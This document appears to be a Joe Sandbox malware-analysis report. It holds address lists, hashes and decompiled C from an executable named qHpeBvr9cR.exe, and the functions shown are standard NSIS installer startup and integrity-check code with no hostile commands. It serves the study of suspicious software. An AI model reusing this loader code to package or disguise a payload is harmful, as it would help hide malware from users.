0x004065be
0x00406596
0x00406596
0x0040659e
0x004065a3
0x004065a5
0x004065a7
0x004065a7
0x004065c8
0x004065cb
0x0040656e
0x00406574
0x00000000
0x00000000
0x00000000
0x004065cd
0x00406549
0x0040654d
0x00406b55
0x00000000
0x00406b55
0x00406553
0x00406556
0x00406559
0x0040655d
0x00406560
0x00406566
0x00406568
0x00406568
0x0040656b
0x00000000
0x0040656b
0x00406385
0x00406385
0x00406388
0x0040638e
0x00406390
0x00406390
0x00406393
0x00406396
0x00406398
0x00406399
0x0040639c
0x00406409
0x00406409
0x0040640d
0x00406410
0x00406413
0x00406416
0x00406419
0x0040641a
0x0040641d
0x0040641f
0x00406425
0x00406428
0x0040642b
0x0040642e
0x00406431
0x00406437
0x00406453
0x00406456
0x00406459
0x0040645c
0x00406463
0x00406469
0x0040646d
0x00406439
0x00406439
0x0040643d
0x00406445
0x0040644a
0x0040644c
0x0040644e
0x0040644e
0x00406477
0x0040647a
0x004063f1
0x004063f1
0x004063f7
0x004064aa
0x004064b0
0x00000000
0x00000000
0x004064b2
0x004064b5
0x004064b8
0x004064bb
0x004064be
0x004064c1
0x004064c4
0x004064c7
0x004064ca
0x004064d0
0x004064e8
0x004064eb
0x004064ee
0x004064f1
0x004064f1
0x004064f4
0x004064fa
0x004064d2
0x004064d2
0x004064da
0x004064df
0x004064e1
0x004064e3
0x004064e3
0x00406504
0x00406507
0x00406485
0x00406489
0x00406b49
0x00000000
0x00406b49
0x0040648f
0x00406492
0x00406495
0x00406499
0x0040649c
0x004064a2
0x004064a4
0x004064a4
0x004064a7
0x004064a7
0x00406507
0x0040650e
0x0040650e
0x0040650e
0x00406512
0x00406512
0x00406515
0x00406518
0x0040651c
0x00406b61
0x00000000
0x00406b61
0x00406522
0x00406525
0x00406528
0x0040652b
0x0040652e
0x00406531
0x00406534
0x00406536
0x00406539
0x0040653c
0x0040653f
0x00406541
0x00406541
0x00406541
0x004066de
0x004066de
0x004066e1
0x004066e1
0x00000000
0x004066e1
0x00406403
0x00000000
0x00000000
0x00000000
0x00406480
0x004063cc
0x004063d0
0x00406b3d
0x00406bb9
0x00406bc1
0x00406bc8
0x00406bca
0x00406bd1
0x00406bd5
0x00406bd5
0x004063d6
0x004063d9
0x004063dc
0x004063e0
0x004063e3
0x004063e9
0x004063eb
0x004063eb
0x004063ee
0x00000000
0x004063ee
0x0040647a
0x00406383
0x004061b7
0x004061b7
0x004061c0
0x00406bce
0x00406bce
0x00000000
0x00406bce
0x004061c6
0x00000000
0x004061d1
0x00000000
0x00000000
0x004061da
0x004061dd
0x004061e0
0x004061e4
0x00000000
0x00000000
0x004061ea
0x004061ed
0x004061ef
0x004061f0
0x004061f3
0x004061f5
0x004061f6
0x004061f8
0x004061fb
0x00406200
0x00406205
0x0040620e
0x00406221
0x00406224
0x00406230
0x00406258
0x0040625a
0x00406268
0x00406268
0x0040626c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040625c
0x0040625c
0x0040625f
0x00406260
0x00406260
0x00000000
0x0040625c
0x00406236
0x0040623b
0x0040623b
0x00406244
0x0040624c
0x0040624f
0x00000000
0x00406255
0x00406255
0x00000000
0x00406255
0x00000000
0x00406272
0x00406272
0x00406276
0x00406b22
0x00000000
0x00406b22
0x0040627f
0x0040628f
0x00406292
0x00406295
0x00406295
0x00406295
0x00406298
0x0040629c
0x00000000
0x00000000
0x0040629e
0x004062a4
0x004062ce
0x004062d4
0x004062db
0x00000000
0x004062db
0x004062aa
0x004062ad
0x004062b2
0x004062b2
0x004062bd
0x004062c5
0x004062c8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040630d
0x00406313
0x00406316
0x00406323
0x0040632b
0x00000000
0x00000000
0x004062e2
0x004062e2
0x004062e6
0x00406b31
0x00000000
0x00406b31
0x004062f2
0x004062fd
0x004062fd
0x004062fd
0x00406300
0x00406303
0x00406306
0x0040630b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004065d2
0x004065d6
0x004065f4
0x004065f7
0x004065fe
0x00406601
0x00406604
0x00406607
0x0040660a
0x0040660d
0x0040660f
0x00406616
0x00406617
0x00406619
0x0040661c
0x0040661f
0x00406622
0x00406622
0x00406627
0x00000000
0x00406627
0x004065d8
0x004065db
0x004065de
0x004065e8
0x00000000
0x00000000
0x0040663c
0x00406640
0x00406663
0x00406666
0x00406669
0x00406673
0x00406642
0x00406642
0x00406645
0x00406648
0x0040664b
0x00406658
0x0040665b
0x0040665b
0x00000000
0x00000000
0x0040667f
0x00406683
0x00000000
0x00000000
0x00406689
0x0040668d
0x00000000
0x00000000
0x00406693
0x00406695
0x00406699
0x00406699
0x0040669c
0x004066a0
0x00000000
0x00000000
0x004066f0
0x004066f4
0x004066fb
0x004066fe
0x00406701
0x0040670b
0x00000000
0x0040670b
0x004066f6
0x00000000
0x00000000
0x00406717
0x0040671b
0x00406722
0x00406725
0x00406728
0x0040671d
0x0040671d
0x0040671d
0x0040672b
0x0040672e
0x00406731
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673a
0x0040673d
0x00406744
0x00406749
0x00000000
0x00000000
0x004067d7
0x004067d7
0x004067db
0x00406b79
0x00000000
0x00406b79
0x004067e1
0x004067e4
0x004067e7
0x004067eb
0x004067ee
0x004067f4
0x004067f6
0x004067f6
0x004067f6
0x004067f9
0x004067fc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040685a
0x0040685a
0x0040685e
0x00406b85
0x00000000
0x00406b85
0x00406864
0x00406867
0x0040686a
0x0040686e
0x00406871
0x00406877
0x00406879
0x00406879
0x00406879
0x0040687c
0x00000000
0x00000000
0x0040662a
0x0040662a
0x0040662d
0x00000000
0x00000000
0x00406969
0x0040696d
0x0040698f
0x00406992
0x0040699c
0x00000000
0x0040699c
0x0040696f
0x00406972
0x00406976
0x00406979
0x00406979
0x0040697c
0x00000000
0x00000000
0x00406a26
0x00406a2a
0x00406a48
0x00406a48
0x00406a48
0x00406a4f
0x00406a56
0x00406a5d
0x00406a5d
0x00000000
0x00406a5d
0x00406a2c
0x00406a2f
0x00406a32
0x00406a35
0x00406a3c
0x00406980
0x00406980
0x00406983
0x00000000
0x00000000
0x00406b17
0x00406b1a
0x00000000
0x00000000
0x00406751
0x00406753
0x0040675a
0x0040675b
0x0040675d
0x00406760
0x00000000
0x00000000
0x00406768
0x0040676b
0x0040676e
0x00406770
0x00406772
0x00406772
0x00406773
0x00406776
0x0040677d
0x00406780
0x0040678e
0x00000000
0x00000000
0x00406a64
0x00406a64
0x00406a67
0x00406a6e
0x00000000
0x00000000
0x00406a73
0x00406a73
0x00406a77
0x00406baf
0x00000000
0x00406baf
0x00406a7d
0x00406a80
0x00406a83
0x00406a87
0x00406a8a
0x00406a90
0x00406a92
0x00406a92
0x00406a92
0x00406a95
0x00406a98
0x00406a98
0x00406a98
0x00406a98
0x00406a9b
0x00406a9b
0x00406a9f
0x00406aff
0x00406b02
0x00406b07
0x00406b08
0x00406b0a
0x00406b0c
0x00406b0f
0x00000000
0x00406b0f
0x00406aa1
0x00406aa7
0x00406aaa
0x00406aad
0x00406ab0
0x00406ab3
0x00406ab6
0x00406ab9
0x00406abc
0x00406abf
0x00406ac2
0x00406adb
0x00406ade
0x00406ae1
0x00406ae4
0x00406ae8
0x00406aea
0x00406aea
0x00406aeb
0x00406aee
0x00406ac4
0x00406ac4
0x00406acc
0x00406ad1
0x00406ad3
0x00406ad6
0x00406ad6
0x00406af1
0x00406af8
0x00000000
0x00406afa
0x00000000
0x00406afa
0x00000000
0x00406796
0x00406799
0x004067cf
0x004068ff
0x004068ff
0x004068ff
0x004068ff
0x00406902
0x00406902
0x00406905
0x00406907
0x00406b91
0x00000000
0x00406b91
0x0040690d
0x00406910
0x00000000
0x00000000
0x00406916
0x0040691a
0x0040691d
0x0040691d
0x0040691d
0x00000000
0x0040691d
0x0040679b
0x0040679d
0x0040679f
0x004067a1
0x004067a4
0x004067a5
0x004067a7
0x004067a9
0x004067ac
0x004067af
0x004067c5
0x004067ca
0x00406802
0x00406802
0x00406806
0x00406832
0x00406834
0x0040683b
0x0040683e
0x00406841
0x00406841
0x00406846
0x00406846
0x00406848
0x0040684b
0x00406852
0x00406855
0x00406882
0x00406882
0x00406885
0x00406888
0x004068fc
0x004068fc
0x004068fc
0x00000000
0x004068fc
0x0040688a
0x00406890
0x00406893
0x00406896
0x00406899
0x0040689c
0x0040689f
0x004068a2
0x004068a5
0x004068a8
0x004068ab
0x004068c4
0x004068c6
0x004068c9
0x004068ca
0x004068cd
0x004068cf
0x004068d2
0x004068d4
0x004068d6
0x004068d9
0x004068db
0x004068de
0x004068e2
0x004068e4
0x004068e4
0x004068e5
0x004068e8
0x004068eb
0x004068ad
0x004068ad
0x004068b5
0x004068ba
0x004068bc
0x004068bf
0x004068bf
0x004068ee
0x004068f5
0x0040687f
0x0040687f
0x0040687f
0x0040687f
0x00000000
0x004068f7
0x00000000
0x004068f7
0x004068f5
0x00406808
0x0040680b
0x0040680d
0x00406810
0x00406813
0x00406816
0x00406818
0x0040681b
0x0040681e
0x0040681e
0x00406821
0x00406821
0x00406824
0x0040682b
0x004067ff
0x004067ff
0x004067ff
0x004067ff
0x00000000
0x0040682d
0x00000000
0x0040682d
0x0040682b
0x004067b1
0x004067b4
0x004067b6
0x004067b9
0x00000000
0x00000000
0x00000000
0x00000000
0x004066a3
0x004066a3
0x004066a7
0x00406b6d
0x00000000
0x00406b6d
0x004066ad
0x004066b0
0x004066b3
0x004066b6
0x004066b8
0x004066b8
0x004066b8
0x004066bb
0x004066be
0x004066c1
0x004066c4
0x004066c7
0x004066ca
0x004066cb
0x004066cd
0x004066cd
0x004066cd
0x004066d0
0x004066d3
0x004066d6
0x004066d9
0x004066d9
0x004066d9
0x004066dc
0x00000000
0x00000000
0x00406920
0x00406920
0x00406920
0x00406924
0x00000000
0x00000000
0x0040692a
0x0040692d
0x00406930
0x00406933
0x00406935
0x00406935
0x00406935
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x00406948
0x0040694a
0x0040694a
0x0040694a
0x0040694d
0x00406950
0x00406953
0x00406956
0x00406959
0x0040695d
0x0040695f
0x00406962
0x00000000
0x00406964
0x00000000
0x00406964
0x00406962
0x00406b97
0x00000000
0x00000000
0x004061c6

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9df4b00e3dfa736f107e28386e2211fee1d6be591f2ba6f0ce01288237ab4b61
Instruction ID: bdeebfab4b2853dd6ba105009d9d55a4887b03880c8adf7539db3398297304ab
Opcode Fuzzy Hash: 9df4b00e3dfa736f107e28386e2211fee1d6be591f2ba6f0ce01288237ab4b61
Instruction Fuzzy Hash: 61F16871D00229CBCF28CFA8C8946ADBBB1FF45305F25816ED856BB281D7785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405FF6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405FF6(CHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileA(_a4, 0x4225d0); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x4225d0;
			}

0x00406001
0x0040600a
0x00000000
0x00406017
0x0040600d
0x00000000

APIs

FindFirstFileA.KERNELBASE(?,004225D0,C:\,00405912,C:\,C:\,00000000,C:\,C:\,?,?,766DF560,00405634,?,C:\Users\user\AppData\Local\Temp\,766DF560), ref: 00406001
FindClose.KERNEL32(00000000), ref: 0040600D

Strings

C:\, xrefs: 00405FF6

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\
API String ID: 2295610775-3404278061
Opcode ID: af11e85da2dc783dbe13656bd5508f9fb20cf1c530974d89e4c44af9708dc560
Instruction ID: bebaf1ec17e03c7be3b4f7568d9df3fae16269376aceebcceaf96dbad000be3e
Opcode Fuzzy Hash: af11e85da2dc783dbe13656bd5508f9fb20cf1c530974d89e4c44af9708dc560
Instruction Fuzzy Hash: 20D012719480206BC3105B387D0C85B7A589F89330711CA33F566FA2E0D7749CB2AAED

Uniqueness

Uniqueness Score: -1.00%

Function 0040374E Relevance: 49.2, APIs: 13, Strings: 15, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0040374E(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				int _v16;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t20;
				void* _t28;
				void* _t30;
				int _t31;
				void* _t34;
				int _t37;
				int _t38;
				int _t42;
				char _t62;
				CHAR* _t64;
				signed char _t68;
				CHAR* _t79;
				intOrPtr _t81;
				CHAR* _t85;

				_t81 =  *0x423f90;
				_t20 = E00406087(3);
				_t88 = _t20;
				if(_t20 == 0) {
					_t79 = 0x420580;
					"1033" = 0x7830;
					E00405BE2(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x420580, 0);
					__eflags =  *0x420580;
					if(__eflags == 0) {
						E00405BE2(0x80000003, ".DEFAULT\\Control Panel\\International",  &M004072F6, 0x420580, 0);
					}
					lstrcatA("1033", _t79);
				} else {
					E00405C59("1033",  *_t20() & 0x0000ffff);
				}
				E00403A17(_t76, _t88);
				_t84 = "C:\\Users\\alfons\\AppData\\Local\\Temp";
				 *0x424000 =  *0x423f98 & 0x00000020;
				 *0x42401c = 0x10000;
				if(E004058CF(_t88, "C:\\Users\\alfons\\AppData\\Local\\Temp") != 0) {
					L16:
					if(E004058CF(_t96, _t84) == 0) {
						E00405D1D(0, _t79, _t81, _t84,  *((intOrPtr*)(_t81 + 0x118)));
					}
					_t28 = LoadImageA( *0x423f80, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x423768 = _t28;
					if( *((intOrPtr*)(_t81 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t30 = E00403A17(_t76, __eflags);
							__eflags =  *0x424020;
							if( *0x424020 != 0) {
								_t31 = E004050B9(_t30, 0);
								__eflags = _t31;
								if(_t31 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42374c;
								if( *0x42374c == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x420558, 5);
							_t37 = E0040601D("RichEd20");
							__eflags = _t37;
							if(_t37 == 0) {
								E0040601D("RichEd32");
							}
							_t85 = "RichEdit20A";
							_t38 = GetClassInfoA(0, _t85, 0x423720);
							__eflags = _t38;
							if(_t38 == 0) {
								GetClassInfoA(0, "RichEdit", 0x423720);
								 *0x423744 = _t85;
								RegisterClassA(0x423720);
							}
							_t42 = DialogBoxParamA( *0x423f80,  *0x423760 + 0x00000069 & 0x0000ffff, 0, E00403AE4, 0);
							E0040369E(E0040140B(5), 1);
							return _t42;
						}
						L22:
						_t34 = 2;
						return _t34;
					} else {
						_t76 =  *0x423f80;
						 *0x423734 = _t28;
						_v20 = 0x624e5f;
						 *0x423724 = E00401000;
						 *0x423730 =  *0x423f80;
						 *0x423744 =  &_v20;
						if(RegisterClassA(0x423720) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						_t12 =  &_v16; // 0x624e5f
						SystemParametersInfoA(0x30, 0, _t12, 0);
						 *0x420558 = CreateWindowExA(0x80,  &_v20, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x423f80, 0);
						goto L21;
					}
				} else {
					_t76 =  *(_t81 + 0x48);
					if(_t76 == 0) {
						goto L16;
					}
					_t79 = 0x422f20;
					E00405BE2( *((intOrPtr*)(_t81 + 0x44)), _t76,  *((intOrPtr*)(_t81 + 0x4c)) +  *0x423fb8, 0x422f20, 0);
					_t62 =  *0x422f20; // 0x22
					if(_t62 == 0) {
						goto L16;
					}
					if(_t62 == 0x22) {
						_t79 = 0x422f21;
						 *((char*)(E00405819(0x422f21, 0x22))) = 0;
					}
					_t64 = lstrlenA(_t79) + _t79 - 4;
					if(_t64 <= _t79 || lstrcmpiA(_t64, ?str?) != 0) {
						L15:
						E00405CFB(_t84, E004057EE(_t79));
						goto L16;
					} else {
						_t68 = GetFileAttributesA(_t79);
						if(_t68 == 0xffffffff) {
							L14:
							E00405835(_t79);
							goto L15;
						}
						_t96 = _t68 & 0x00000010;
						if((_t68 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403754
0x0040375d
0x00403764
0x00403766
0x0040377a
0x0040378c
0x00403796
0x0040379b
0x004037a1
0x004037b4
0x004037b4
0x004037bf
0x00403768
0x00403773
0x00403773
0x004037c4
0x004037ce
0x004037d7
0x004037dc
0x004037ed
0x00403874
0x0040387c
0x00403885
0x00403885
0x0040389b
0x004038a1
0x004038af
0x0040393e
0x00403946
0x00403950
0x00403955
0x0040395b
0x004039e5
0x004039ea
0x004039ec
0x00403a08
0x00000000
0x00403a08
0x004039ee
0x004039f4
0x004039fc
0x004039fc
0x00000000
0x004039f4
0x00403969
0x00403974
0x00403979
0x0040397b
0x00403982
0x00403982
0x0040398d
0x00403995
0x00403997
0x00403999
0x004039a2
0x004039a5
0x004039ab
0x004039ab
0x004039ca
0x004039db
0x00000000
0x004039e0
0x00403948
0x0040394a
0x00000000
0x004038b5
0x004038b5
0x004038bb
0x004038c5
0x004038cd
0x004038d7
0x004038dd
0x004038eb
0x00403a0d
0x00403a0d
0x00000000
0x00403a0d
0x004038f1
0x004038fa
0x00403939
0x00000000
0x00403939
0x004037f3
0x004037f3
0x004037f8
0x00000000
0x00000000
0x00403802
0x00403812
0x00403817
0x0040381e
0x00000000
0x00000000
0x00403822
0x00403824
0x00403831
0x00403831
0x00403839
0x0040383f
0x00403867
0x0040386f
0x00000000
0x00403851
0x00403852
0x0040385b
0x00403861
0x00403862
0x00000000
0x00403862
0x0040385d
0x0040385f
0x00000000
0x00000000
0x00000000
0x0040385f
0x0040383f

APIs

Part of subcall function 00406087: GetModuleHandleA.KERNEL32(?,?,00000000,004032BB,0000000D,SETUPAPI,USERENV,UXTHEME), ref: 00406099
Part of subcall function 00406087: GetProcAddress.KERNEL32(00000000,?), ref: 004060B4

lstrcatA.KERNEL32(1033,00420580,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420580,00000000,00000003,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\qHpeBvr9cR.exe",00000000), ref: 004037BF
lstrlenA.KERNEL32(00422F20,?,?,?,00422F20,00000000,C:\Users\user\AppData\Local\Temp,1033,00420580,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420580,00000000,00000003,C:\Users\user\AppData\Local\Temp\), ref: 00403834
lstrcmpiA.KERNEL32(?,.exe,00422F20,?,?,?,00422F20,00000000,C:\Users\user\AppData\Local\Temp,1033,00420580,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420580,00000000), ref: 00403847
GetFileAttributesA.KERNEL32(00422F20), ref: 00403852
LoadImageA.USER32 ref: 0040389B

Part of subcall function 00405C59: wsprintfA.USER32 ref: 00405C66

RegisterClassA.USER32 ref: 004038E2
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 004038FA
CreateWindowExA.USER32 ref: 00403933
ShowWindow.USER32(00000005,00000000), ref: 00403969
GetClassInfoA.USER32 ref: 00403995
GetClassInfoA.USER32 ref: 004039A2
RegisterClassA.USER32 ref: 004039AB
DialogBoxParamA.USER32 ref: 004039CA

Strings

/B, xrefs: 00403802
C:\Users\user\AppData\Local\Temp, xrefs: 004037CE, 004037D6, 0040386E, 00403874, 00403884
7B, xrefs: 004038AA
C:\Users\user\AppData\Local\Temp\, xrefs: 0040375A
RichEd20, xrefs: 0040396F
RichEdit20A, xrefs: 0040398D, 00403993
RichEd32, xrefs: 0040397D
1033, xrefs: 0040376E, 004037BA
.DEFAULT\Control Panel\International, xrefs: 004037AA
RichEdit, xrefs: 0040399C
_Nb, xrefs: 004038F1, 004038F6
!/B, xrefs: 00403824
"C:\Users\user\Desktop\qHpeBvr9cR.exe", xrefs: 00403752
Control Panel\Desktop\ResourceLocale, xrefs: 00403782
.exe, xrefs: 00403841

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: /B$ 7B$!/B$"C:\Users\user\Desktop\qHpeBvr9cR.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-1729321324
Opcode ID: 63b9a726db211dfa8162015ea6a93c81adf93a5d18f7de7b76b8cf033c026b55
Instruction ID: 6194fd7cfee4ca64757fce53943c04d911d469c5366995da23240c14efb645f2
Opcode Fuzzy Hash: 63b9a726db211dfa8162015ea6a93c81adf93a5d18f7de7b76b8cf033c026b55
Instruction Fuzzy Hash: 6161B6B17442407ED620BF65AD45F2B3ABCEB8474AF40453FF941B22E1D67CA9418A2D

Uniqueness

Uniqueness Score: -1.00%

Function 00402C88 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00402C88(void* __eflags, signed int _a4) {
				long _v8;
				long _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v40;
				char _v300;
				long _t54;
				void* _t57;
				void* _t62;
				intOrPtr _t65;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr _t71;
				long _t82;
				void* _t83;
				signed int _t89;
				intOrPtr _t92;
				void* _t101;
				signed int _t103;
				void* _t105;
				long _t106;
				long _t109;
				void* _t110;

				_v8 = 0;
				_v12 = 0;
				 *0x423f8c = GetTickCount() + 0x3e8;
				GetModuleFileNameA(0, "C:\\Users\\alfons\\Desktop\\qHpeBvr9cR.exe", 0x400);
				_t105 = E004059D2("C:\\Users\\alfons\\Desktop\\qHpeBvr9cR.exe", 0x80000000, 3);
				 *0x409014 = _t105;
				if(_t105 == 0xffffffff) {
					return "Error launching installer";
				}
				E00405CFB("C:\\Users\\alfons\\Desktop", "C:\\Users\\alfons\\Desktop\\qHpeBvr9cR.exe");
				E00405CFB(0x42c000, E00405835("C:\\Users\\alfons\\Desktop"));
				_t54 = GetFileSize(_t105, 0);
				 *0x41f130 = _t54;
				_t109 = _t54;
				if(_t54 <= 0) {
					L22:
					E00402BE9(1);
					if( *0x423f94 == 0) {
						goto L30;
					}
					if(_v12 == 0) {
						L26:
						_t57 = GlobalAlloc(0x40, _v20); // executed
						_t110 = _t57;
						E00406164(0x40b098);
						E00405A01( &_v300, "C:\\Users\\alfons\\AppData\\Local\\Temp\\"); // executed
						_t62 = CreateFileA( &_v300, 0xc0000000, 0, 0, 2, 0x4000100, 0); // executed
						 *0x409018 = _t62;
						if(_t62 != 0xffffffff) {
							_t65 = E00403207( *0x423f94 + 0x1c);
							 *0x41f134 = _t65;
							 *0x417128 = _t65 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
							_t68 = E00402F2E(_v16, 0xffffffff, 0, _t110, _v20); // executed
							if(_t68 == _v20) {
								 *0x423f90 = _t110;
								 *0x423f98 =  *_t110;
								if((_v40 & 0x00000001) != 0) {
									 *0x423f9c =  *0x423f9c + 1;
								}
								_t45 = _t110 + 0x44; // 0x44
								_t70 = _t45;
								_t101 = 8;
								do {
									_t70 = _t70 - 8;
									 *_t70 =  *_t70 + _t110;
									_t101 = _t101 - 1;
								} while (_t101 != 0);
								_t71 =  *0x417124; // 0x54f53
								 *((intOrPtr*)(_t110 + 0x3c)) = _t71;
								E00405993(0x423fa0, _t110 + 4, 0x40);
								return 0;
							}
							goto L30;
						}
						return "Error writing temporary file. Make sure your temp folder is valid.";
					}
					E00403207( *0x417120);
					if(E004031D5( &_a4, 4) == 0 || _v8 != _a4) {
						goto L30;
					} else {
						goto L26;
					}
				} else {
					do {
						_t106 = _t109;
						asm("sbb eax, eax");
						_t82 = ( ~( *0x423f94) & 0x00007e00) + 0x200;
						if(_t109 >= _t82) {
							_t106 = _t82;
						}
						_t83 = E004031D5(0x417130, _t106); // executed
						if(_t83 == 0) {
							E00402BE9(1);
							L30:
							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						if( *0x423f94 != 0) {
							if((_a4 & 0x00000002) == 0) {
								E00402BE9(0);
							}
							goto L19;
						}
						E00405993( &_v40, 0x417130, 0x1c);
						_t89 = _v40;
						if((_t89 & 0xfffffff0) == 0 && _v36 == 0xdeadbeef && _v24 == 0x74736e49 && _v28 == 0x74666f73 && _v32 == 0x6c6c754e) {
							_a4 = _a4 | _t89;
							_t103 =  *0x417120; // 0x1da6b
							 *0x424020 =  *0x424020 | _a4 & 0x00000002;
							_t92 = _v16;
							 *0x423f94 = _t103;
							if(_t92 > _t109) {
								goto L30;
							}
							if((_a4 & 0x00000008) != 0 || (_a4 & 0x00000004) == 0) {
								_v12 = _v12 + 1;
								_t109 = _t92 - 4;
								if(_t106 > _t109) {
									_t106 = _t109;
								}
								goto L19;
							} else {
								goto L22;
							}
						}
						L19:
						if(_t109 <  *0x41f130) {
							_v8 = E004060F6(_v8, 0x417130, _t106);
						}
						 *0x417120 =  *0x417120 + _t106;
						_t109 = _t109 - _t106;
					} while (_t109 > 0);
					goto L22;
				}
			}

0x00402c96
0x00402c99
0x00402cb3
0x00402cb8
0x00402ccb
0x00402cd0
0x00402cd6
0x00000000
0x00402cd8
0x00402ce9
0x00402cfa
0x00402d01
0x00402d09
0x00402d0e
0x00402d10
0x00402e00
0x00402e02
0x00402e0e
0x00000000
0x00000000
0x00402e17
0x00402e43
0x00402e48
0x00402e53
0x00402e55
0x00402e66
0x00402e81
0x00402e8a
0x00402e8f
0x00402eae
0x00402ebe
0x00402ed0
0x00402ed5
0x00402edd
0x00402eea
0x00402ef2
0x00402ef7
0x00402ef9
0x00402ef9
0x00402f01
0x00402f01
0x00402f04
0x00402f05
0x00402f05
0x00402f08
0x00402f0a
0x00402f0a
0x00402f0d
0x00402f14
0x00402f20
0x00000000
0x00402f25
0x00000000
0x00402edd
0x00000000
0x00402e91
0x00402e1f
0x00402e31
0x00000000
0x00000000
0x00000000
0x00000000
0x00402d16
0x00402d16
0x00402d1b
0x00402d1f
0x00402d26
0x00402d2d
0x00402d2f
0x00402d2f
0x00402d37
0x00402d3e
0x00402e9d
0x00402edf
0x00000000
0x00402edf
0x00402d4a
0x00402dce
0x00402dd1
0x00402dd6
0x00000000
0x00402dce
0x00402d57
0x00402d5c
0x00402d64
0x00402d8a
0x00402d90
